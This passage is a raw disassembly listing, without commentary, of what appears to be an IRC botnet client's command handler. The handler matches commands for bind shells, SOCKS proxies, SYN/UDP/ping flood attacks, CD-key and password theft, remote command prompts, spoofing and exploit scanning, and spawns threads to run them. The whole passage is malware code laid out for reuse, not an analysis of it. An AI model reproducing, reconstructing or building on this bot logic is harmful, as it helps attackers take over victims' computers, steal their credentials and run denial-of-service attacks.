[ebp+var_4AF0] push offset asc_42CA64 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA64 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C6A4 loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C67C jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C660 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C644 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C630 push offset dword_42C624 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C604 push offset dword_42C5F4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5DC push offset dword_42C5D0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C5BC push offset dword_42C5B0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C594 push offset dword_42C584 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C568 push offset dword_42C558 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C540 push offset dword_42C534 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5DC push offset dword_42C5D0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C5BC push offset dword_42C5B0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C51C push offset dword_42C510 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C504 push offset dword_42C4F8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C568 push offset dword_42C558 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C540 push offset dword_42C534 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4E8 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C4C8 push offset dword_42C4B8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C594 push offset dword_42C584 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C484 push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4E8 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C4C8 push offset dword_42C4B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C51C push offset dword_42C510 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C504 push offset dword_42C4F8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C43C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C3C8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C3A8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2E4 jnz short loc_403191 mov eax, offset unk_42C2BC loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1FC push offset dword_42C1F0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1EC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1D8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C1A4 call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C170 push eax mov dword_4CE758, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C0C8 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aScanall ; "scanall" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C054 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2670000h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j call near ptr 2670914h nop push eax push offset unk_42C018 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_431622 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431622 jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFD8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431440, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431440 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431440[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF48 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB030 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D158 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF58 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2670000h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 2670914h push eax lea eax, [ebp+var_2C4] push offset unk_42BF1C push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEE4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BEC4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call near ptr 2660000h nop loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE90 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 2670914h push eax push offset unk_42BE54 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 